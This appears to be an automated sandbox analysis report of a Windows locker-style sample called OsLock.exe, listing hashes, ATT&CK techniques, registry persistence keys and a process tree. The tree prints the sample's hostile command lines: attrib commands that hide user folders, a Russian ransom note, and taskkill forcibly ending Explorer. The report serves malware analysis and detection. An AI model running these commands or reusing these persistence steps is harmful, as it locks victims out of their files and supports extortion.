ad861f41bb4a31ee778bf60cecf0a7bdd9c0cc91d5cc17775d15199c214fbccf

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-11-2024 09:20

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General

Target

OsLock.exe
Size

385KB
MD5

675ea787630f596da0474830ffb49723
SHA1

c8e18cbc3cca1ded47eb5860a71b9f22d46409e1
SHA256

ad861f41bb4a31ee778bf60cecf0a7bdd9c0cc91d5cc17775d15199c214fbccf
SHA512

fa3c2c6edd3435bd16ec652c1738695cd1e8cdbd010b55fd856cefdbebd50552074d06e9b66860fae9c3a2f71ffe1076bb0227944b49286f05e1a3a4c871014d
SSDEEP

6144:Z1IE/9oydPc4IvjTZlyZsDDyr3rAUp48zUCpM69/KImQi/6ebkY:Z1vlc4IrTZlyGDc54

Score

10^/10

defense_evasion persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

OsLock.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OsLock.exe\""	OsLock.exe

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

OsLock.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OsLock.exe\" -startup"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\System3264Wow = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OsLock.exe\" --init"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive10293 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OsLock.exe\" /setup"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WINDOWS = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OsLock.exe\" --wininit"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OsLock.exe\""	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	OsLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	OsLock.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

description	ioc	Process
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Processes:

cmd.execmd.execmd.execmd.execmd.execmd.exe

pid	Process
1764	cmd.exe
4544	cmd.exe
4308	cmd.exe
3480	cmd.exe
2432	cmd.exe
4104	cmd.exe

Kills process with taskkill 1 IoCs

evasion

Processes:

taskkill.exe

pid	Process
3440	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

OsLock.exe

pid	Process
3172	OsLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

OsLock.exetaskkill.exe

description	pid	Process
Token: SeDebugPrivilege	3172	OsLock.exe
Token: SeDebugPrivilege	3440	taskkill.exe

Suspicious use of WriteProcessMemory 38 IoCs

Processes:

OsLock.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 3172 wrote to memory of 4104	3172	OsLock.exe	83
PID 3172 wrote to memory of 4104	3172	OsLock.exe	83
PID 3172 wrote to memory of 2432	3172	OsLock.exe	84
PID 3172 wrote to memory of 2432	3172	OsLock.exe	84
PID 3172 wrote to memory of 1764	3172	OsLock.exe	85
PID 3172 wrote to memory of 1764	3172	OsLock.exe	85
PID 3172 wrote to memory of 3480	3172	OsLock.exe	86
PID 3172 wrote to memory of 3480	3172	OsLock.exe	86
PID 3172 wrote to memory of 4308	3172	OsLock.exe	87
PID 3172 wrote to memory of 4308	3172	OsLock.exe	87
PID 3172 wrote to memory of 4544	3172	OsLock.exe	88
PID 3172 wrote to memory of 4544	3172	OsLock.exe	88
PID 3172 wrote to memory of 3440	3172	OsLock.exe	89
PID 3172 wrote to memory of 3440	3172	OsLock.exe	89
PID 4544 wrote to memory of 2532	4544	cmd.exe	97
PID 4544 wrote to memory of 2532	4544	cmd.exe	97
PID 4104 wrote to memory of 1128	4104	cmd.exe	98
PID 4104 wrote to memory of 1128	4104	cmd.exe	98
PID 1764 wrote to memory of 2072	1764	cmd.exe	99
PID 1764 wrote to memory of 2072	1764	cmd.exe	99
PID 2432 wrote to memory of 944	2432	cmd.exe	100
PID 2432 wrote to memory of 944	2432	cmd.exe	100
PID 3480 wrote to memory of 1872	3480	cmd.exe	101
PID 3480 wrote to memory of 1872	3480	cmd.exe	101
PID 1764 wrote to memory of 2528	1764	cmd.exe	102
PID 1764 wrote to memory of 2528	1764	cmd.exe	102
PID 3480 wrote to memory of 3820	3480	cmd.exe	103
PID 3480 wrote to memory of 3820	3480	cmd.exe	103
PID 2432 wrote to memory of 808	2432	cmd.exe	104
PID 2432 wrote to memory of 808	2432	cmd.exe	104
PID 4308 wrote to memory of 3976	4308	cmd.exe	105
PID 4308 wrote to memory of 3976	4308	cmd.exe	105
PID 4104 wrote to memory of 3496	4104	cmd.exe	106
PID 4104 wrote to memory of 3496	4104	cmd.exe	106
PID 4544 wrote to memory of 1176	4544	cmd.exe	107
PID 4544 wrote to memory of 1176	4544	cmd.exe	107
PID 4308 wrote to memory of 4548	4308	cmd.exe	108
PID 4308 wrote to memory of 4548	4308	cmd.exe	108

Views/modifies file attributes 1 TTPs 12 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid	Process
2528	attrib.exe
3976	attrib.exe
3496	attrib.exe
2532	attrib.exe
1872	attrib.exe
944	attrib.exe
808	attrib.exe
3820	attrib.exe
1176	attrib.exe
4548	attrib.exe
1128	attrib.exe
2072	attrib.exe

C:\Users\Admin\AppData\Local\Temp\OsLock.exe
"C:\Users\Admin\AppData\Local\Temp\OsLock.exe"
1⤵
- Modifies WinLogon for persistence
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1128
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:3496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:944
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2072
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:2528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1872
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:3820
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3976
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:4548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Упсик Твои файлы Зашифрованы! Пиши @N0TK4RMA 1>info-0v92.txt & attrib -h +s +r info-lox.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2532
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-lox.txt
    3⤵
    - Views/modifies file attributes
    PID:1176
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\info-0v92.txt

Filesize
56B

MD5
d1ff8c6f248822be938086bed3d42dee

SHA1
0726de2bc7fc3bc36c8b7b8c2a85b937a1defe31

SHA256
e0c3bba5f6dacba97a25bf375c90c838c9d95f56ed6aa869f93a11c2424b7690

SHA512
8ea5e3ce9e36231cfeddafbbd523ecc602beaaecfe403a66ffd11c19ab880004c98cfabad1c080d1800c96533d50f649c1be4ff1bf3a99f960464cc853921d0b

Download Submit
memory/3172-0-0x00007FF9184C3000-0x00007FF9184C5000-memory.dmp

Filesize
8KB

Download
memory/3172-1-0x0000000000E40000-0x0000000000EA6000-memory.dmp

Filesize
408KB

Download
memory/3172-2-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download
memory/3172-12-0x00007FF9184C3000-0x00007FF9184C5000-memory.dmp

Filesize
8KB

Download
memory/3172-13-0x00007FF9184C0000-0x00007FF918F81000-memory.dmp

Filesize
10.8MB

Download